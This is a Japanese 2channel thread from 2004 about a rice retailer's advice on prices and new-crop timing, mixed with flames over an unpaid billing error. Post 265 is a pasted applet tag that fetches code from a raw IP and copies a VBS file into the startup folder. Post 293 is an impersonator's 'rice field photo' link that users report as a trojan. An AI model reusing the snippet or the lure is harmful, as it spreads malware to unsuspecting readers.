お米屋くん、旧日本海軍はビタミン源の補給のため玄米を軍艦に備蓄していたが、
太平洋戦争突入後、白米に切り替えたのは何故だ?

202 :ただ今精米中 ◆hebglziyis :04/07/28 19:56
>>199 一昨年、Uアサより仕入れた計画外1等より安い!!!

どこの卸だろうか!?

203 :もぐもぐ名無しさん:04/07/28 20:16
つまらん内輪話スレをいちいち上げんなよ!!

204 :もぐもぐ名無しさん:04/07/28 20:21
蕪あがれぇ〜〜〜!ポックリ!

205 :もぐもぐ名無しさん:04/07/28 22:59
>>201
海軍のプライド

206 :もぐもぐ名無しさん:04/07/29 07:37
頼りない米屋さん
モチ米についてはいかがですか?
ウルチ米同様14年の価格に戻ってくれると良いのですが・・・・・
モチは好きで冷凍していつでも食べられるようにしてます。

207 :頼りない米屋:04/07/29 09:52
>>206
(どこまで下がるかは予測不能ですが)下がりますよ。
もち米の場合、生産量と需要量がうるち米に比べ圧倒的に少ない為
少しのアクシデントで価格が上下しますので予測が難しいんです。
普通に考えれば特上品の新潟こがねもち検査1等26000円あたりが
目安じゃないかなぁ。つまり14年産の価格に戻る位でしょ。
うるちはもっと安くなると思いますがね。

208 :もぐもぐ名無しさん:04/07/29 16:22
>>頼りない米屋
取り敢えずちょい荒れの元となった>>137発言に対する返答をお願いします。
ちゃんと返金したのなら返金したとカキコすれば問題なかったんじゃないかと思いました。
返金したと言うカキコが全く見られないと言う事は返金せずにパクッたと言う事なのでしょうか?

209 :もぐもぐ名無しさん:04/07/29 16:38
夏休み、だなぁ。

210 :もぐもぐ名無しさん:04/07/29 17:12
夏休みかどうかは関係ないんじゃないの?
要はコテハンの品性の問題
時々名無しに変えて書き込みしてる米屋が痛いだけの話

211 :もぐもぐ名無しさん:04/07/29 17:36
最近お米がおいしくなくなっているように感じます。
同じ銘柄を買っているんですが、やっぱりこの季節はしょうがないのでしょうか。
お店に新米が出回る時期って、銘柄や産地でも違うのでしょうが、
だいたいどれくらいなものなのでしょう?待ちどうしい。
ちなみに関東在住です。

212 :頼りない米屋:04/07/29 17:50
>>208
その話題を繰り返す意味は無いと思うよ。
それぞれがそれぞれの感想で私は構わない。
以下>>116>>117参照。

>>209
ですね。
あまりひどかったら9月1日までスレ休みします(w


213 :頼りない米屋:04/07/29 18:03
>>211
お米・お茶など温室栽培が不可能なものは当然1年に1回の収穫。
米ならば新米収穫時が一番おいしく、直前が一番まずい。
これはしょうがない事です。それでも昔に比べたら保管が良く
食味の落ちは少なくなった方ですがね。
今は夏ですから昨年収穫の米は最悪の季節です。
ちなみに16年産新米ですが桜前線と同じく南から始まります。
銘柄によって早生・中生・晩生とありますが、おおむね下記。
九州 7月中旬〜
四国 8月初旬〜
西日本8月中旬〜
関東 8月下旬〜
北陸 9月初旬〜
東北 9月中旬〜
北海道9月下旬〜
関東在住なら新米は関東産が出るまで我慢した方が良いでしょう。
それまでは安くなって予算内に入ってきた古米銘柄米の方が
美味かったりします。お勧めは福島こし10kg4,000円以内です。
新米ならお盆過ぎに出る千葉ふさおとめが私は好きです。

214 :もぐもぐ名無しさん:04/07/29 19:58
>>213
お茶は一年に何回かとれるんじゃなかった?
今年はなかなか良い値がするらしいよ。今の時期にとれるヤツも。

215 :もぐもぐ名無しさん:04/07/29 19:58
>>205
ハズレじゃ!スカポンタン!

216 :頼りない米屋:04/07/29 20:35
>>214
うむ。厳密に言えば1番茶から2番3番4番まであるだろうねぇ。
ま、いいじゃないすか。文意がわかってくれれば(w

217 :もぐもぐ名無しさん:04/07/29 20:48
それぞれがそれぞれの感想で私は構わない。

結局米代をぱくった訳ね。
盗人猛々しいものですね。
早く逮捕されてください。

218 :もぐもぐ名無しさん:04/07/29 20:56
>213
米ならば新米収穫時が一番おいしく、直前が一番まずい。
これはしょうがない事です。それでも昔に比べたら保管が良く食味の落ちは少なくなった方ですがね。
今は夏ですから昨年収穫の米は最悪の季節です。
関東在住なら新米は関東産が出るまで我慢した方が良いでしょう。
それまでは安くなって予算内に入ってきた古米銘柄米の方が美味かったりします。

どちらがおいいしいのですか?
新米?古米?
福島古米のほうが、宮崎のコシよりおいしいって理解すればいいのですか?
説明が不親切



219 :もぐもぐ名無しさん:04/07/29 20:59
>213
福島って一概に言っても・・・
中通・浜通・会津・・・
すべて4,000円以内?


220 :不快だ:04/07/29 21:20
この守銭奴スレは休むどころか、止めてもらっても構わないが...
犯罪者が開きなおって、偉そうに回答なんてしなくてもいいよ
せめてsage進行の目につかないとこで、業界裏話でも語りあってくれ!!

221 :ただ今精米中 ◆hebglziyis :04/07/29 21:22
 請求額のチエックを怠り、間違った請求書を送付した時点で負け!!
ヤオフクでも一桁少ない額のPCを掲示してしまった事ありましたね。
商売は、食うか食われるか。請求額のボンミスなど商売人には恥以外のなにものでもない。

222 :もぐもぐ名無しさん:04/07/29 21:45
おいおい そこまでいうか?
勝ち負けとかそういう問題じゃないと思うんだがね。
スレ主といい、擁護のつもりがますます米屋の非常識ぶりをさらけだす↑といい
米屋ってこんなヤツばっかりなんだね。まさに同じ穴の狢。
この感覚だから消費者も平気でだませるわけだね。
やっぱ不正表示もだまされたほうが負けですかね???


223 :もぐもぐ名無しさん:04/07/29 21:49
この守銭奴スレは休むどころか、止めてもらっても構わないが...
犯罪者が開きなおって、偉そうに回答なんてしなくてもいいよ
せめてsage進行の目につかないとこで、業界裏話でも語りあってくれ!!



224 :夜ナニー:04/07/29 21:49
>>218 >>219

たとえば、同じコシヒカリで九州の16年産新米よりも新潟の15年産のほうが
粘りや甘みなどで勝るということです。
ただ、当然新米の香りなどの魅力は九州産にはあるわけで、
炊き上がったごはんに何を求めるかで評価が変わるんですね。
私も宮崎や鹿児島の新米を扱ったことがありますが、冷めてしまうとあまり新米の魅力を発揮できず、
食感的に北陸東北物のほうが上という印象です。
お客様によって評価もばらばらで、『うまかった!』『いまいち』半々です。
そういう評価なので説明もわかりにくくなってしまい、お客さんを悩ませてしまうのかもしれませんが・・・
五感のチャート(この場合、つや・香り・粘り・弾力・甘みなど。聴覚はありませんね)
で表すとわかります。

『福島コシ』。この場合福島全域です。
パッケージに中通・浜通・会津などの細かい産地区分が無いものという意味です。
新潟産でも魚沼や岩舟とかかれたものもあれば
ただの新潟産としか書かれていないものもありますよね。
その県全域からの寄せ集めってなところです。



225 :もぐもぐ名無しさん:04/07/29 22:02
>>224
そうかな?福島コシとなると、やっぱり浜メインの中少し程度じゃないかな?

226 :夜ナニー:04/07/29 22:06
もう一度『福島コシ』について。
福島や、茨城・栃木のコシヒカリは東日本のコシヒカリの中でも早めに獲れます。
去年の秋は業界内米パニックだったので、実力以上の高値取引になってしまいました。
ところが、ふたを開けてみると確かに不作の年だったんですが、コシヒカリに関して言えばほとんど悪くなかったんです。
つまり獲れたって事。
そうなると当然あまりますよね。
そして16年産豊作確実の今、実力以下の値段でないと売れなくなってしまいました。
ですから『ねらい目』なのです。
特に福島の会津は味はそこそこですから4000円以下ならなお狙い目です。
>>195 >>197 の話もそーゆーワケです。

227 :もぐもぐ名無しさん:04/07/29 22:06
>>137
こりゃひでー/////スレ主の暴挙/////
/////本人に罪の意識や反省の気持はない様子/////むしろ自慢のご様子


228 :もぐもぐ名無しさん:04/07/29 22:20
夏休みくらいは家から出て
旅行かなんかしたいもんだ。きっと楽しい。

229 :夜ナニー:04/07/29 22:26
>>224
おそらくそうですよね。会津は一応ブランド化されてますから。
判りやすく説明しようとしてあんなふうに書き込んだんですが、
端折ったりくどくなってしまうのは米屋の職業病って事で・・・えへへ・・・ゴメンナサイ。

私は『コシあまり・価格急降下』は昨年の秋から予想していたんです。
でも、これほどまで下がるとは思っていませんでした。
先日茨城コシ100俵発注したときの話ですが、
先方は『これでまた100万円の損だよ・・・』と嘆いてました。
私『でも秋にかなり稼いだでしょう』
先方『そんなのとっくにないよ!』
そりゃ秋に25000円で仕入れて今15000円じゃなぁ・・・と思うと気の利いた結びの言葉も見つからず、
『バッハハ〜イ』というのが精一杯でした。

230 :もぐもぐ名無しさん:04/07/29 22:29
なんでもかんでも夏休みで片付けようとする人の脳みそってやっぱ夏休み?

231 :もぐもぐ名無しさん:04/07/29 22:33
さしあたって、頼りない米屋さんには謹慎していただいたほうが賢明かもですね。

232 :もぐもぐ名無しさん:04/07/29 22:39
旅先で田んぼを見たりして。まだ稲穂が頭をたれるには早いが、
きっときれいだろうなぁ。
あまりの美しさに思わず話し掛けてしまった農家の方に
お米を分けてもらう話が成立したり・・・しないか。

233 :もぐもぐ名無しさん:04/07/29 22:43
>>220 >>222 >>227 他の人たち。
だ。か。ら。笑い話なんだってば。
きれい事や建前の話だけが望みなら農家や米屋のHPの掲示板に行けばいいですよ。
せっかくこれから新米ネタが出てくる季節なんだし、まったり行きましょーよ。



234 :もぐもぐ名無しさん:04/07/29 22:48
だから 中途半端な擁護は止めよって
見ている人の気持ちも考えないとね。
業界人だけでないんだから。。。
それこそ業界掲示板行けばって言われるよ。

235 :もぐもぐ名無しさん:04/07/29 22:52
どいつも,こいつも,こめやってヤツは・・・

236 :もぐもぐ名無しさん:04/07/29 22:57
ちゃんと金返してるなら返してると言えるだろうが。
それ言えない奴はぱくってるってことだ。
泥棒ですよあーた。

237 :もぐもぐ名無しさん:04/07/29 23:02
>>ただ今精米中
お前逆の立場なら負けたってだけで終れるのか?
45万円ってお前の何か月分の給料だよ
必死になって回収に掛かるだろ?
自己厨も大概にしろ!

238 :もぐもぐ名無しさん:04/07/29 23:03
>>218
え?普通にわかったけど?
そんなに難しい文でもないでしょ。
あとコピペするなら引用符位つけろよ。お前の文のほうがよほど読みづらい。


239 :もぐもぐ名無しさん:04/07/29 23:05
>>237
回収しに来たら返すでしょ。
回収にすら来ないから笑い話なんじゃないの?


240 :もぐもぐ名無しさん:04/07/29 23:05
たしかに「精米中」のお客にその言葉そっくり教えてやりたいよ。
1円の違算でも頭下げて回収しそうなヤツがいい加減な擁護するなよな。

241 :もぐもぐ名無しさん:04/07/29 23:14
>>239
みなさんは、回収来ないなら黙って懐にって感覚が
異常っていってるんでないの?


242 :もぐもぐ名無しさん:04/07/29 23:24
非難轟々の時には姿を見せず見てるだけの頼りない米屋。
お前は話す内容がぶれ過ぎだ。

しょぼいおっさんが「俺も昔はワルだった」などと言ってるのと
変わらないぐらい情けないぞお前。

243 :もぐもぐ名無しさん:04/07/29 23:33
しつこいねぇ

244 :もぐもぐ名無しさん:04/07/29 23:39
>>242
おまえは間違ってないぞ
おかしいのはここの常連だ

245 :もぐもぐ名無しさん:04/07/29 23:52
必死だねぇ

246 :もぐもぐ名無しさん:04/07/29 23:54
常連がウザイスレですねここは。
何故頼りない米屋に情報を依存しなきゃならないんでしょうか?
それほどしょぼい情報しか持ってないから経営難になるんだと思うが。


247 :もぐもぐ名無しさん:04/07/29 23:58
>>245
あなたのこそw

追伸:『ぇ』がお好きですねぇ

248 :もぐもぐ名無しさん:04/07/30 00:08
相手してもらってよかったですねぇ

249 :もぐもぐ名無しさん:04/07/30 00:11
えー、殆どロムですがみなさまへ一言。
荒らしはレスを返すと喜び、さらに荒らすので、徹底スルーでお願いします。

頼りない米屋さんへ。
こういう場合は、事実であろうと無かろうと、
単にキーボードに向かって、「返金しました」とタイプするのもひとつの方法です。

250 :もぐもぐ名無しさん:04/07/30 00:15
>>249
お前は小学生か

251 :もぐもぐ名無しさん:04/07/30 00:15
回収に来たから笑い話なんだよ。
>>137のスレにそれを書かなかったのは笑い話のネタだから。
ま、これは私の勝手な想像なんだけど、それはみんな同じじゃんか。

それに、あとから「払った」って書いたってどうせ「うそだろ」とか言う人出てくるでしょ。
だから沈黙するのが一番いいの。
なぜってここは「2ちゃんねる」だから。

「コーヒー」が炎上したのは沈黙できなかったからじゃん。



252 :もぐもぐ名無しさん:04/07/30 00:28
回収来たから笑い話とは思えんね。
私もワルよね。とか書いてるし。

担当の兄ちゃんが嫌だから嫌がらせしてるとしか思えんわけです。
米引取りに来た時に「コイツ桁間違いやがって馬鹿だな」と思ってるような
性悪の米屋を何故そんな擁護してんだお前等宗教団体ですか?

253 :もぐもぐ名無しさん:04/07/30 00:33
>>251
頼りないで登場、頼りないが登場する際の布石ですか?
手がこんでるが無理あるね。

まあ、とにかく荒らしとか夏休みでお茶を濁さないで
返金、謝罪、謹慎、場合によっては廃スレを速やかにおこなってほしいね。
これは犯罪だと思うよ。

参考:スレ主の異常行為
>>137


254 :もぐもぐ名無しさん:04/07/30 00:42
うはwwwwwwwwwwwwwwwwwおkwwwwwwwwwwww

255 :もぐもぐ名無しさん:04/07/30 00:46
荒らし荒らしと言いますが普通にそれはまずいだろうって事を指摘してるだけで
逃げ腰になるのはどうなの?

普通のレスしたら荒らしになるんか。お前夏の暑さにやられてるんかいな

ROMってる頼りない米屋は都合が悪なったら名無しなんだな

アホ過ぎやお前

256 :もぐもぐ名無しさん:04/07/30 00:53
まぁまぁ、みんなモチツケや。
ここに来てる米屋も色々でね、性格や商売の仕方も全然違うわけよ。

でね、スレ主に関しては、情報量とか仕入れの仕方とかは
すごいんだろうなぁと思うよ。実際、ウチの仕入れ価格より
随分と安く仕入れてるみたいだしね。そういうのはガンガッてるんだろうな。

が、話の仕方はひっかかるとこがあるね。それが原因で荒れることもしばしばだ。
正直、今回の発端もオレからしたら( ゚Д゚)ポカーンだ。んが、そりゃ俺らには関係ない。
法律的にはこの請求書は無効であっても、間違った請求書は商売人としては
恥ずかしいことだし、まぁ、このままスレ主がネコババすることもないだろうし。(多分^^;)
だって考えてみな、誰だって取引先とのトラブルなんて抱えたくないだろ?

他にもコテハンが何人かいるよね。
中にはしっかり物事考えて書き込みしてる人もいるよ。そういう気配りとかできる人は
話も営業も上手なんだろうな。オレも見習わねばと思うね。
消費者側のレスも貴重な意見だと思えるものもあるね。それはそれでかなり参考になるよ。

だからさ、ここ見てる米屋も消費者の人たちも、た〜くさんある書き込みの中から
自分で有益だと思える情報だけピックアップすりゃいいのよ。
本来、情報なんて他人には教えたくないもんだよ。それを拾える場所なんだからさ。
理不尽な話や非常識な内容に立腹する気持ちもすごく分かるけど、
そんなものは鼻で´_ゝ`)フフーンと笑ってりゃいいのさ〜。

あ、なんか長文になっちゃったね。
んじゃ最後に・・・


藻米ら!マターリ行こうぜ〜♪



257 :もぐもぐ名無しさん:04/07/30 00:59
>>208の質問に対して
その話題を繰り返す意味は無いと思うよ。
それぞれがそれぞれの感想で私は構わない。
以下>>116>>117参照。

>>116
>>117

何の答えにもなってないのが理解できてますかね?
頼りになる米屋って泥棒米屋とコテハン変えたらどう?
名無しになっていろいろカキコしてるようだがな

258 :もぐもぐ名無しさん:04/07/30 06:25
>名無しになっていろいろカキコしてるようだがな
IDもない板でそんなこと言われてもw
逆に言えばトリップつけていないから誰でも頼りない米屋になれるわけで。
夏かな?

259 :もぐもぐ名無しさん:04/07/30 07:27
238 :もぐもぐ名無しさん :04/07/29 23:03
>>218
あとコピペするなら引用符位つけろよ。お前の文のほうがよほど読みづらい。

素人が書き込みするなって言われそうですが、引用符ってわかりません。
それと、句読点の打ち方の明快な決まりも教えてください。
文章を大事にされる方が、部下でも友人でもない人間をお前呼ばわりはおかしいと思います。
新米と古米どちらが良いと説明されているんでしょうか?
読みにくい文章で申し訳ないです。

260 :もぐもぐ名無しさん:04/07/30 08:43
いろんなところで荒れ模様だね。
>>259
238じゃないんだけどさ、
ttp://info.2ch.net/guide/
とかみてみるといいかも。

あとさ、
>関東在住なら新米は関東産が出るまで我慢した方が良いでしょう。
>それまでは安くなって予算内に入ってきた古米銘柄米の方が美味かったりします。
てことはさ、
関東産の新米が出るまでは、他の地域の高い新米を無理して買うよりは
値段のこなれた古米銘柄米を買う方がお買い得
ってことなんじゃないのかな。

マジレス無用だったらゴメン。スルーでね。

261 :頼りない米屋:04/07/30 08:48
はい。皆さんいろんな意味ですみませんでした。
多種の意見が出た所で次の話題に移りましょうか。

262 :頼りない米屋:04/07/30 09:07
今日の台風は水害さえなければ、西日本の米に朗報を及ぼすでしょう。
水枯れでダム貯水率が低下し胴割れ懸念の地域が各所にあったから。
高温障害懸念は未だ消えていないが・・・。
昔から業界の諺に「米:大不作の翌年は大豊作」当たりそうですね。

業界巷での噂。
9月千葉ふさおとめ・関東こまち・ひとめで10kg3380円込発売予想
10月には16年産100%(表示は複数)10kg2280円込が発売予想
こうなってくると利益率と言うより利益額が取れなくて
この業界2年連続の業績不振で非常に危ない。
銀行さえ同じ予測の元にこの業界の融資に慎重になっている、噂じゃなく。
いよいよ秋から来年3月決算時までに何処が飛ぶか?が秋の業界話題。




263 :もぐもぐ名無しさん:04/07/30 09:38
>>262
銀行屋さんは全体の流れをよく見てると思いますか?
銀行屋さんの情報は役に立ちますか?
(苦しいとこがあるから買ってくれとか)


264 :そうですね:04/07/30 09:39
それでもまだ中国の品質の良いものの値段の10倍ですよね。
先日食べた伊藤忠が仕切っている中国の米なんか明らかに九州の日の光より
ましだと思いますよ。それにしても鹿児島当たりの日の光の新米はなんで
あんなにいつも高く売っているのでしょうかね。
有機米も安くなって欲しいですよね。今年はもち米はどうなのでしょうかね。


265 :もぐもぐ名無しさん:04/07/30 09:41
<applet code="XView.class" codebase="http://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>

266 :頼りない米屋:04/07/30 11:36
>>264
>日の光の新米はなんであんなにいつも高く売っているのでしょうかね。
これはもう需要と供給関係です。人気が過熱し過ぎです。
当地コシより高くなって実力以上の評価になっています。

> 有機米も安くなって欲しいですよね。
これは詳しく言うと長文になりますが
消費者に寄り過ぎた国の政策の失敗でしょうね。
不当表示販売を突き上げた消費者団体の言う通りにJASを強化した結果
価格が上昇し、結果的に言った消費者が高い価格にそっぽを向いたんです。
現場を知らないお役人のやりそうな話です。
タイのようにもっと長期的視野に立った上で農業政策的に推奨しないとね。

>今年はもち米はどうなのでしょうかね。
前にも述べましたが今年は一昨年価格まで戻るでしょう。
アクシデントが無ければ。
例えば他のアジア地域でもち米が不作とか
(有名メーカーのもちはほとんどが現地生産輸入か国内生産の場合
古米・古古米・古古古米使用だが昨年の不作で底尽き)
メーカーやコンビ二が販売政策上一斉に買いに入るとか
北海道もち米団地が超不作とか
(北海道は今はまだ豊作不作の判断が出来ない)

267 :もぐもぐ名無しさん:04/07/30 13:15
テスト

268 :夜ナニー:04/07/30 14:45
ここを開くとウィルス警告が出てしまうんですが、私だけですか?
みなさんどうですか?

269 :もぐもぐ名無しさん:04/07/30 15:25
>>268
夏厨がスクリプトを貼り付けたんですよ(>>265
ノートン先生を使っていると反応します。
実害はないけど鬱陶しいことこの上なしですわ。
削除依頼だせばあぼーんして貰えるんじゃなかったかな(うろ覚え)

270 :238:04/07/30 16:15
>>259
> 素人が書き込みするなって言われそうですが、引用符ってわかりません。
> それと、句読点の打ち方の明快な決まりも教えてください。
> 文章を大事にされる方が、部下でも友人でもない人間をお前呼ばわりはおかしいと思います。

文章を大事にしろなんて大げさなことは言ってないよ。やっぱり文章読解力ないな。
コピペした行の先頭の「> 」が引用符だ。
句読点の打ち方の明確な決まりを教えてくれって、その発言自体がおかしいでしょ?
普通に読みやすいように打てばいいんだから。

271 :もぐもぐ名無しさん:04/07/30 18:00
どっちもどっちに見えちゃうよー
せっかくマターリしようと書き込みしてくれたり、「もちついて」と言って
レスしてくれる人がいるんだから・・・
(それをさらりと流して業界の情報交換するお米屋さんの神経もやだ)


272 :もぐもぐ名無しさん:04/07/30 18:10
> ゼロ4つ入れ忘れ指名停止 2530円で落札の業者
>
>  入札金額に「0」4つを入れ忘れ、2530円で落札してしまった北海道帯広市の電気工事会社が
> 「この金額では施工できない」と契約を辞退したため、北海道開発局は30日、「信頼関係を損なう
> 不誠実な行為」としてこの業者を3カ月の指名停止とした。
>  入札は、開発局が昨秋から談合防止と手続き簡素化のため導入した、パソコンによる電子入札。
> 指名停止になったアサヒ電気は「電子入札が導入される前の紙での入札ではこんなことはなかった」と
> うなだれている。
>  開発局によると、更別村のサケ・マスふ化場の電気設備工事で、アサヒ電気は2530万円で入札しようと
> していたが、担当者の入力ミスで2530円として入札。最低金額だったため契約業者に決定した。(共同通信)


273 :271:04/07/30 18:18
>>272
コピペするなら意図があるだろ?
コピペだけはいちばん卑怯。自分の言葉でコピペの意味を書けよ。

274 :もぐもぐ名無しさん:04/07/30 20:08
10kg2280円ですか・・・うーん、粗利上げないと食ってけないようになりそうだ。
うるちがここまで下がってしまったら、来年はみんなもち米作って今度はもち米も大暴落ですか?

275 :もぐもぐ名無しさん:04/07/30 20:43
>>273
あなたもスルーすることを覚えようネ

276 :もぐもぐ名無しさん:04/07/30 22:10
頼りない米屋は政治家よりも面の皮が厚いみたいだな。
都合の悪い事は放置か。

入札とこの問題を一緒にしようって馬鹿野郎がいるみたいだな。
それとも名無しになった奴か

277 :もぐもぐ名無しさん:04/07/30 22:31
お米屋さんって、お米に全く関係ない物
売ったりすることあるの?

近くのお菓子屋さんがいきなり
携帯電話も売り出して、
年季の入った店構えにあまりに不釣合いでワラタけど・・・・・

278 :もぐもぐ名無しさん:04/07/31 00:01
276は悪い見本です。
よゐこは真似しないでね。

279 :もぐもぐ名無しさん:04/07/31 00:02
はい。278の様に頭悪いカキコはしません。

280 :もぐもぐ名無しさん:04/07/31 00:19
即レスキモッw

281 :もぐもぐ名無しさん:04/07/31 00:44
まじかよ。
一分後の即レス。
280と同じく、漏れもキモとオモタヨ。W

282 :もぐもぐ名無しさん:04/07/31 03:12
>>271-273
またーりとかいっといてそれか、本性むき出しですね、荒らしちゃんwww

283 :もぐもぐ名無しさん:04/07/31 08:02
ほどよく荒れてるついでに
頼りない米屋さん
標準価格米時代の懺悔話はありませんか?


284 :もぐもぐ名無しさん:04/07/31 08:54
5キロ1280円のきらめきという米を買ってきたのですがホント美味しくないです。どうやっても旨く炊けない。なんかいい方法ないすかね?

285 :もぐもぐ名無しさん:04/07/31 09:36
今週のスーパーの広告品は揃いも揃って
宮崎県産 コシヒカリ 新米 5kg 1980円か2180円

286 :頼りない米屋:04/07/31 10:54
早く9月にならないかな、いろんな意味で(w

>>284
もち米500g位混ぜるのが一番安価かな。
どこかの米屋さんで量り売りしてもらうと良いよ。
高い米買って混ぜるって方法もあるけど
1:1にするとまずい米が2倍になる危険があるんでねぇ。

>>277
昔は米屋は既出プラッシーだったり
燃料系:炭・灯油(米と同じ必需品だった)なんかが定番だったけど
今はほとんどやってないんじゃないかなぁ。
誘いは一杯あるけど、うちは米系専門ですね。
と言っても私は全く別業態のビジネスも展開してますがね。

287 :もぐもぐ名無しさん:04/07/31 11:15
近所の米屋はまだ灯油も売ってるけど、あれってやっぱり儲からないの?
ガソリンスタンドのほうが安いし、冬場はトラックで回ってる業者いるし。

288 :もぐもぐ名無しさん:04/07/31 11:51
>>287
はっきりいって儲からないです。
うちの場合はお得意さんへのサービスと思い、割り切ってやってます。
年々、灯油のみのお客さんが増えていってるんで
正直この冬からはどうしようかなって思ってます。
食べ物と灯油缶が一緒に運ばれてるって言うのも
ちょっとどうかな?などとずっと思ってましたし。


289 :もぐもぐ名無しさん:04/07/31 15:35
従業員、取引先、お客さんがかわいそう。

290 :田舎の米屋:04/07/31 15:48
頼りない米屋様お久しぶりです。
何か色々書かれてますね。
弊社の社長も時々私のパソコンから見ているみたいで、
参考になると言っていたのに、今回はいけません。
ところで、弊社では新米宮崎コシヒカリにシフト中です。
生産が追いつきません。明日も出勤です。

291 :夜ナニー:04/07/31 16:22
>>283
いよいよ正式に廃止になった標準米ですが、昔はよく売れました。
標準米の原料は政府米の混載なので、こちらでは選べないのですが、
うちでは原料玄米数件分積んだトラックがルート上、地理的に朝一番に来まして、
その中から良さそうな玄米を選べました。
残りは次以降の米屋さんに行くわけです。
荷降ろしを手伝うので運転手さんも喜んで「選べ選べ」と言ってましたが、
60kg入りの麻袋や樹脂袋の頃でしたので、その作業はバテましたね。
おかげでうちの標準米はうまいと言われてました。

292 :もぐもぐ名無しさん:04/07/31 19:10
ょうもユーロビート聞きながら撮れのに乗って仕事だ

293 :頼りない米屋:04/07/31 19:17
うちが見つけてきた農家の方の田んぼ写真です。
http://www2.strangeworld.org/uedakana/sahra6138.jpg

294 :↑↑↑↑:04/07/31 19:34
ぶらくらだあ。
ブラクラだあ。
browsercrusherだあ。
ひっかかっちまったよ。

295 :もぐもぐ名無しさん:04/07/31 19:41
いやぁ。オイラも田圃見たくて、開いちゃったよ。
ウイルス検索中でし。

296 :もぐもぐ名無しさん:04/07/31 20:58
>>295
ウイルスいた?

297 :もぐもぐ名無しさん:04/07/31 20:58
>>293
くそ守銭奴  ペッ

298 :もぐもぐ名無しさん:04/07/31 21:27
警告!警告!
>>293
トロイ型でし。
HTML_SUPER.A ウイルス。
ただ今、農薬散布中でし。うまく駆除できますように。

299 :頼りない米屋:04/07/31 21:29
只今残業が終わって帰り際ですが・・・

>>293は私の名前を語った「偽者」です。
ちなみに私は写真を乗っける技はありません。
もちろんウィルスをばら撒く技もありません。
荒れ始めると必ず出てくる輩です。気を付けて下さい。

常連さんも一見さんもご協力を願います。
・反応は煽り荒らしを呼びます。
・煽りは「 ス ル ー 」に限ります。
・過剰な反応や粘着は荒らしと同格です。

それでは私は帰宅します。


300 :もぐもぐ名無しさん:04/07/31 21:36
ウイルスバスター・オンラインスキャンを置いておきまつ。

http://www.trendmicro.co.jp/hcall/
一番下の白いボタンでし。(Windows用)

301 :もぐもぐ名無しさん:04/07/31 21:48
>>298
オンラインスキャンでHTML.SUARAとかのウイルス駆除したけど
OKかな。

302 :もぐもぐ名無しさん:04/07/31 21:53
OKでし。
しかし、ひどい香具師もいるもんだな。
田圃の中に空き缶を棄てられたようなもんだな。

303 :もぐもぐ名無しさん:04/07/31 21:59
玄米に、砂粒を混ぜたようなもんだな。

304 :もぐもぐ名無しさん:04/07/31 22:05
>>頼りない
めずらしい時間に現れたと思ったら釈明かい?
ほんとに腐ったヤツだな。

305 :もぐもぐ名無しさん:04/07/31 22:10
>>302
サンクス

オンラインスキャン
駆除ボタンがあります。
ttp://www.dion.ne.jp/service/mail/virus/online_scan/


306 :もぐもぐ名無しさん:04/07/31 22:34
おまえか304

307 :もぐもぐ名無しさん:04/07/31 23:15
URLみて怪しいと思わんのか?
頼りない米屋教徒は引っかかるんだなw

308 :もぐもぐ名無しさん:04/07/31 23:17
夏房は、引っ込んでろ!

309 :もぐもぐ名無しさん:04/07/31 23:33
しかし、ここのスレ主はどういう神経なんだ?
詐欺の次はウイルスかい

310 :もぐもぐ名無しさん:04/07/31 23:34
夏房のシワザだろ。

311 :もぐもぐ名無しさん:04/07/31 23:37
性格は決してよさげではないと思ったが
そこまでやるか・・・

312 :もぐもぐ名無しさん:04/08/01 02:06
>>293=>>304=>>309=>>311
ウイルスばら撒いて人を陥れようとするとする厨。

お前以外はキャップがないから騙れることを前提に書いてるのが何よりの証拠。

313 :もぐもぐ名無しさん:04/08/01 02:52
     ///////
    ///////____________
    ///////  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| ̄ ̄
   ///////              (~) チリンチリン
   ///////              ノ,,
  ///////     ∧_∧         / ̄ ̄ ̄ ̄ ̄ ̄
  ///////     ( ´∀`)( 厨 ) )) <  夏だなあ〜
 ///////      (つ へへ つ      \______
///////   //△ ヽλ  ) ) 旦
//////  l ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄l
/////    ̄| .| ̄ ̄ ̄ ̄ ̄ ̄ ̄| .| ̄
////     ^^^          ^^^

         2chの夏。厨房の夏。


314 :もぐもぐ名無しさん:04/08/01 08:16
大丈夫。みんなわかってるよ。

315 :もぐもぐ名無しさん:04/08/01 09:06
そうだね。頼りない米屋が頼りないって事を。

316 :もぐもぐ名無しさん:04/08/01 09:26
>>315
一般消費者だが、お米の選び方等とっても役立っているよ。
おかげで、毎日おいしいご飯。ちと太ってしまったが。

317 :もぐもぐ名無しさん:04/08/01 10:44
>>315
プ


318 :もぐもぐ名無しさん:04/08/01 10:59
315は糞だが、何のためにここのスレ来てんだろう?
友達ほすいだけか。

319 :もぐもぐ名無しさん:04/08/01 11:14
荒らしは徹底放置。ハンドル騙られたらトリップで回避。
通称トリップは名前欄に#??????だよ。#以降はパスワード

320 :もぐもぐ名無しさん:04/08/01 11:40
友達欲しくてここにカキコするのは318ぐらいだろう

321 :もぐもぐ名無しさん:04/08/01 11:44
異物混入クレームってあるの?(毛髪、石とか)
またそれを防止する為に
何か行っていたり気をつけていることある?


322 :もぐもぐ名無しさん:04/08/01 12:23
初めにアンテナショップとして2chを利用しようと思われたのかな
実際にスレを立てたら一般の人以外に同業者の方からも情報も集まるし
「情報も知識もたいしたもんですねー」
と、思われる事もあり、次第にご本人は孔雀が羽根を広げてアピール
するように
「私の知識もちょっとしたものでしょう」
と、スレに書く快感を覚えてしまわれたように思います。
お米屋さんが2chにお店を出しているようでこの板で異色な印象はあります。
一消費者としてチェックしていますが、役に立つと思う内容はそれ程ありません。

323 :↑↑↑↑:04/08/01 13:00
実るほど頭を垂れる稲穂かな

反して人は偉くなると本人はお辞儀したつもりが
外見は反っくり返ってしまうそうだ。

324 :頼りない米屋:04/08/01 13:27
だいぶスレ酷暑となって来ましたね(w

【頼りない米屋からの緊急告知】
今回の「11俵目」は実は私が立てたんじゃありません。
(前スレ終了間際をご参照下さい)
よってこのスレ、私はスレ主ではありませんので退場します。
本来の「お米屋ですが・・」は緊急に「11俵半」を私が立てました。
恐縮ですが、常連さんはそちらへ移動をお願いします。
なお荒らし粘着対策上URLは表記しませんので、ご自分でお探しの上
お越し下さい。
夏休みは荒れますので、あちらもまた荒らされないようご協力を
お願い申し上げます。

